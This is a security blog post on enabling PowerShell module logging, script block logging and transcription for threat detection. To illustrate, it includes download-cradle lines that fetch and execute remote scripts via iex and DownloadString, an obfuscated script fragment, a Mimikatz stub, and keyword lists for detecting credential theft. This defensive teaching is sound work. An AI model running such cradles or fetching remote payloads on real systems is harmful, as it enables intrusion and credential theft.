Building a Detection Foundation: Part 3 - PowerShell and Script Logging

Table of contents
The Second Most Important Data Source You're Probably Not Capturing
In Part 2, we enabled process creation logging with command lines. That's a big step forward. But here's the thing about PowerShell: knowing that powershell.exe ran with an encoded command is helpful, but it doesn't tell you what that encoded command actually did after it decoded and executed.
Command Execution is the second-highest coverage data source in MITRE ATT&CK at 209 techniques. PowerShell logging directly addresses this, and it captures activity that process creation events simply cannot.
We see PowerShell abuse very often used with great success by actors of all levels, yet we still see a Pentester and Red Teamer on X and other platforms saying PowerShell is dead…

Why Native PowerShell Logging Matters
Consider this common scenario: an attacker runs PowerShell with a Base64-encoded command or downloads a script from the Internet and executes it in memory without ever touching disk. Here's what your Event ID 4688 shows:
$xml = New-Object System.Xml.XmlDocument
$xml.Load("https://bit.ly/2rHx0So")
$xml.command.a.command | iex You can see the download cradle. That's useful. But what did the payload contain? When we checked the URL the attacker had removed it. What commands did it run after downloading? Without PowerShell logging, you don't know. The payload executed entirely in memory—no new processes, no files on disk, no additional 4688 events.
This is exactly what PowerShell logging captures.
The Three Pillars of PowerShell Logging
PowerShell offers three complementary logging mechanisms. I recommend enabling all of them.
1. Module Logging (Event ID 4103)
Module logging captures pipeline execution details. Every time a PowerShell command executes, module logging records what module was used and the command parameters.
What it captures:
- Command invocations
- Pipeline output (can be verbose)
- Module and command names
- Parameters passed to commands
Limitations:
- Can generate significant volume
- Obfuscated commands are logged as-executed (obfuscated)
2. Script Block Logging (Event ID 4104)
This is the most valuable. Script block logging captures the actual script content at compilation time via the AMSI v1 interface. Because the hook fires when a script block is compiled—before the engine unwinds any obfuscation—the code is recorded exactly as it enters the engine. If a script is obfuscated, the obfuscated form is what gets saved to the event, not a decoded version. If the obfuscated script then calls Invoke-Expression with a decoded string, that new script block triggers its own separate 4104 event, which may contain readable code. Additionally, PowerShell’s engine has a built-in list of suspicious keywords (defined in CompiledScriptBlock.cs); matching any of them automatically generates a warning-level (Level 3) 4104 event, even without Script Block Logging explicitly enabled.
What it captures:
- Full script content
- Code captured as-is at compilation time (obfuscated scripts remain obfuscated in the log)
- Scripts run via Invoke-Expression, encoded commands, etc. (each new script block generates its own 4104 event)
- Suspicious keyword matches trigger warning-level (Level 3) events by default, even without SBL fully enabled
Limitations:
- Large scripts may be split across multiple events
- Very high-volume scripts can impact log sizes (Be sure to document what scripts are used by IT in automation as well as scripts used by EDRs for testing, vulnerability scanners, etc.)
3. Transcription
Transcription writes all PowerShell input and output to text files on disk. Think of this as a full session recording.
What it captures:
- Everything typed in a PowerShell session
- All output displayed
- Timestamps
Limitations:
- Writes to disk (storage considerations)
- Attacker can identify and target transcript files
Enabling PowerShell Logging
Via Group Policy (Recommended)
Navigate to:
Computer Configuration
→ Administrative Templates
→ Windows Components
→ Windows PowerShellEnable these policies:
Turn on Module Logging:
- Set to Enabled
- Click ‘Show’ next to Module Names
- Add * to log all modules
Turn on PowerShell Script Block Logging:
- Set to Enabled
- Optionally check ‘Log script block invocation start/stop events’ for execution timing
Turn on PowerShell Transcription:
- Set to Enabled
- Set ‘Transcript output directory’ (e.g., C:\PSTranscripts or a network share)
- Optionally check ’Include invocation headers’
Via Registry (for quick testing or scripted deployment)
# Module Logging
$modulePath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
$moduleNamesPath = "$modulePath\ModuleNames"
New-Item -Path $modulePath -Force | Out-Null
New-Item -Path $moduleNamesPath -Force | Out-Null
Set-ItemProperty -Path $modulePath -Name 'EnableModuleLogging' -Value 1
Set-ItemProperty -Path $moduleNamesPath -Name '*' -Value '*'
# Script Block Logging
$scriptBlockPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $scriptBlockPath -Force | Out-Null
Set-ItemProperty -Path $scriptBlockPath -Name 'EnableScriptBlockLogging' -Value 1
Set-ItemProperty -Path $scriptBlockPath -Name 'EnableScriptBlockInvocationLogging' -Value 1
# Transcription
$transcriptionPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription'
New-Item -Path $transcriptionPath -Force | Out-Null
Set-ItemProperty -Path $transcriptionPath -Name 'EnableTranscripting' -Value 1
Set-ItemProperty -Path $transcriptionPath -Name 'OutputDirectory' -Value 'C:\PSTranscripts'
Set-ItemProperty -Path $transcriptionPath -Name 'EnableInvocationHeader' -Value 1Via powershell.config.json (PowerShell 7)
The Group Policy and registry paths above apply only to Windows PowerShell 5.1. PowerShell 7 (pwsh.exe) uses a separate JSON configuration file and writes to a different event log. Create or edit powershell.config.json in $PSHOME (system-wide) or ~/.config/powershell/ (per-user) to enable logging:
{
"ScriptBlockLogging": {
"EnableScriptBlockLogging": true,
"EnableScriptBlockInvocationLogging": true
},
"ModuleLogging": {
"EnableModuleLogging": true,
"ModuleNames": [ "*" ]
},
"Transcription": {
"EnableTranscripting": true,
"EnableInvocationHeader": true,
"OutputDirectory": "C:\\PSTranscripts"
}
}PowerShell 7 events are written to the PowerShellCore/Operational log, separate from the Microsoft-Windows-PowerShell/Operational log used by Windows PowerShell 5.1. The same Event IDs (4103, 4104) are used in both. When building SIEM queries or detection rules, ensure you query both log sources, as an attacker switching between pwsh.exe and powershell.exe would otherwise split across them.
Real-World Example: Seeing Through Obfuscation
Let me show you why Script Block Logging (4104) is so powerful. Attackers frequently obfuscate their payloads to evade static detection. Here's an example of an obfuscated download cradle:
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
# ... (continues for many lines)Your Event ID 4688 would show:
CommandLine: powershell.exe -file obfuscated_script.ps1Completely useless for understanding what this does.
Script Block Logging captures the script content as-is when it enters the engine—the obfuscated form is what gets recorded. Event ID 4104 (first event) would show the obfuscated script block:
ScriptBlockText:
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
[Continued in next event... same obfuscated content] That obfuscated content is searchable and alertable in your SIEM—even without being decoded. When the obfuscated script calls Invoke-Expression with a downloaded payload, that new string is compiled as a separate script block, triggering a second 4104 event. That second event may contain readable code:
ScriptBlockText (Event 2 — downloaded payload):
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')
function Invoke-Mimikatz {
param(
[string]$Command
)
# Full Mimikatz function code visible here
} This is the difference between knowing PowerShell ran and knowing exactly what it ran.
Handling Log Volume
A common concern with PowerShell logging is volume. Yes, it generates logs. But consider the alternative: no visibility into one of the most abused tools in attacker tradecraft.
Some practical tips:
For Module Logging:
- If volume is genuinely unmanageable, you can limit to specific high-risk modules instead of *.
- Modules like Microsoft.PowerShell.Core, Microsoft.PowerShell.Security, and Microsoft.PowerShell.Utility are commonly used.
For Script Block Logging:
- Enable Log script block invocation start/stop events only if you need timing correlation.
- Most organizations can handle 4104 volume with proper log management.
For Transcription:
- Use a dedicated network share with proper access controls—ideally one share per site backed by DFS for high availability. Configure the share permissions as follows to prevent users from reading each other’s transcripts across the domain.
- Remove all Inherited Permissions.
- Grant Administrators and Security Team groups Full Control.
- Grant Everyone Write and ReadAttributes. This prevents users from listing transcripts written by other machines in the domain.
- Deny Creator Owner everything. This prevents users from reading the content of previously written transcript files.
- Implement retention policies.
- Monitor share space actively. PowerShell is invoked by vulnerability scanners, EDRs, Intune, and many other platforms, which can generate transcript volume far beyond what interactive user sessions alone would produce.
- Consider that transcripts can contain sensitive data.
Log Size Settings:
Increase the PowerShell Operational log size (default is often too small):
# Increase to 500MB
wevtutil sl "Microsoft-Windows-PowerShell/Operational" /ms:524288000Or via Group Policy:
Computer Configuration
→ Administrative Templates
→ Windows Components
→ Event Log Service
→ PowerShell
→ Specify maximum log file size: 512000 KBCorrelating PowerShell Events With Security Events
Here's where the LogonID correlation from Part 2 comes in. PowerShell events (4103, 4104) include user context. You can correlate these with:
- Event ID 4624 – Who initiated this PowerShell session?
- Event ID 4688 – What parent process spawned PowerShell?
- Sysmon Event 1 – More detailed process creation context
A typical investigation flow:
- 4104 shows suspicious script execution.
- Look at the timestamp and user context.
- Find the corresponding 4688/Sysmon Event 1 to see how PowerShell was launched.
- Use the LogonID to trace back to the 4624 logon event.
- Identify the source IP address/workstation.
Detection Opportunities
With PowerShell logging enabled, you can build detections for:
Download cradles:
ScriptBlockText matches:
- "DownloadString"
- "DownloadFile"
- "Invoke-WebRequest"
- "Net.WebClient"
- "BitsTransfer"
Encoded command execution:
ScriptBlockText matches:
- "[Convert]::FromBase64String"
- "[System.Text.Encoding]::Unicode.GetString"
- "-enc" or "-encodedcommand"
Credential access:
ScriptBlockText matches:
- "Mimikatz"
- "sekurlsa"
- "Get-Credential"
- "ConvertTo-SecureString"
- "System.Management.Automation.PSCredential"
Reconnaissance:
ScriptBlockText matches:
- "Get-ADUser"
- "Get-ADComputer"
- "Get-ADGroup"
- "[adsisearcher]"
- "Get-NetUser" (PowerView)
A Note on AMSI
You might wonder about AMSI (Antimalware Scan Interface)—doesn't it already catch malicious PowerShell? Although valuable for blocking known-bad patterns, AMSI:
- Has actively been bypassed by several actors.
- Does not provide historical forensic data
- Integrates with Script Block Logging via the PowerShell v1 engine interface, meaning obfuscated code is passed to AMSI and logged as-is—AMSI sees (and 4104 records) the obfuscated form, not a decoded version. Obfuscation specifically crafted to avoid AMSI’s keyword signatures can therefore also evade AMSI-based blocking while still generating an obfuscated 4104 event.
PowerShell logging and AMSI serve different purposes. You want both.
What's Still Missing
Even with robust PowerShell logging, we have gaps:
- Non-PowerShell script execution (VBScript, JScript, WMIC)
- DLL loading and injection
- Network connections (What IP addresses did PowerShell talk to?)
- Registry modifications
- File operations beyond what's in scripts
These gaps lead us directly to Sysmon in Part 4 (coming soon).
Contact us if you need assistance with detection engineering or incident response. We are here to help!